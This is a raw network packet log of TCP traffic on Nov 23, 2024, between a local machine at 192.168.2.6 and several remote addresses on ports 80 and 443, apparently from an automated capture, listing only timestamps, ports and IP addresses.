Nov 23, 2024 09:16:51.586668968 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.586702108 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.586766005 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.587337017 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.587348938 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.591087103 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.591182947 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.591191053 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.598381996 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.598834038 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.598870039 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.599302053 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.599317074 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.602952957 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.603332043 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.603353024 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.603786945 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.603795052 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.629373074 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.629560947 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.629570007 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.630600929 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.630654097 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.630661011 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.639273882 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.639328003 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.639334917 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.642819881 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.642884970 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.643006086 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.643609047 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.643675089 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.643681049 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.645282984 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.645302057 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.648004055 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.648051023 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.648051977 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.648066044 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.648159027 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.652266979 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.656575918 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.656625032 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.656632900 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.660322905 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.660375118 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.660382986 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.663815975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.663841009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.663850069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.663873911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.663904905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.664036036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.664092064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.664107084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.664118052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.664150000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.664150953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.664161921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.664191961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.664225101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.668349028 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.668396950 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.668411970 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.669744968 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.669804096 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.669811010 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.672920942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.673005104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.673034906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.673074007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.674182892 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.674285889 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.674293995 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.680290937 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.680358887 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.680366993 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.681968927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.682024956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.682080030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.687900066 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.687961102 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.687968969 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.703403950 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.703454971 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.703464985 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.709152937 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.709202051 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.709209919 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.733978987 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.734039068 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.734050035 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.734288931 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.734385014 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.734464884 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.734554052 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.734566927 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.735279083 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.735403061 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.735409975 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.745413065 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.745467901 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.745476961 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.757478952 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.757549047 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.757555962 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.758678913 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.758733034 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.758739948 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.761451960 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.761528969 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.761535883 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.769081116 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.769138098 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.769145012 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.769882917 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.769932032 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.769938946 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.783350945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.783431053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.793955088 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.794054985 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.794063091 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.794781923 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.794841051 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.794847965 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.798297882 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.798424006 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.798432112 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.799832106 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.799906015 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.799913883 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.800230980 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.800287962 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.800343037 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.804864883 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.804943085 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.804986954 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.805334091 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.805334091 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.805355072 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.805366039 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.809446096 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.809487104 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.809562922 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.809784889 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.809796095 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.864820957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.864866972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.864885092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.864907980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.868891954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.869054079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.869055033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.869225025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.877134085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.877211094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.879805088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.879853964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.879936934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.880146980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.887912035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.887973070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.888083935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.888118029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.895898104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.895979881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.896008015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.896047115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.903940916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.903987885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.904053926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.904097080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.912079096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.912164927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.912175894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.912218094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.920109987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.920260906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.920317888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.927007914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.927057981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.927108049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.927294970 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.933156967 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.933190107 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.933330059 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.933691978 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.933748960 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.933860064 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.933891058 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.933902025 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.934034109 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.934036016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.934077978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.934096098 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.934107065 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.934158087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.934205055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.934257030 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.934778929 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.934794903 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.935076952 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.935090065 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.935255051 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.935269117 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.935458899 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:51.935471058 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:51.940972090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.941016912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.941045046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.941082001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.958597898 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.958638906 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:51.958726883 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.958853960 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.958904028 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:51.959116936 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.960114956 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.960134983 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:51.960263968 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:51.960279942 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:52.018388033 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.018485069 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.018625975 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.021615028 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.021634102 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.025407076 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.025438070 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.025556087 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.025868893 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.025878906 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.026760101 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.026833057 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.026878119 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.027642012 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.027662039 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.027674913 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.027679920 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.035604954 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.035641909 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.035865068 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.036703110 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.036720991 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.054028988 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.054117918 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.054183006 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.054461002 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.054476023 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.054486990 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.054492950 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.057727098 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.057773113 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.058037996 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.058197021 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.058211088 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.061288118 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.061366081 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.061422110 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.061582088 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.061597109 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.061606884 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.061611891 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.066255093 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.066298008 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.066375971 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.066574097 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:52.066590071 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:52.074934006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.074954033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.075007915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.077318907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.077392101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.077444077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.077531099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.082114935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.082222939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.082290888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.086963892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.087061882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.087090969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.087090969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.091727972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.091741085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.091784954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.096488953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.096602917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.096632004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.096643925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.101311922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.101365089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.101416111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.106120110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.106237888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.106297970 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.111000061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.111053944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.111100912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.111145973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.115782976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.115842104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.115972042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.116039991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.120743990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.120811939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.120820045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.120896101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.125396967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.125494957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.125665903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.125720978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.130095005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.130145073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.130181074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.130415916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.134918928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.134964943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.134980917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.134995937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.138041973 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.138561010 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.138566971 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.138587952 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.138835907 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.138848066 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.138981104 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.139344931 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.139576912 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.139651060 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.139698982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.139761925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.139826059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.139941931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.140445948 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.140543938 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.144500017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.144620895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.144640923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.144665003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.149270058 CET	80	49816	185.215.113.206	192.168.2.6
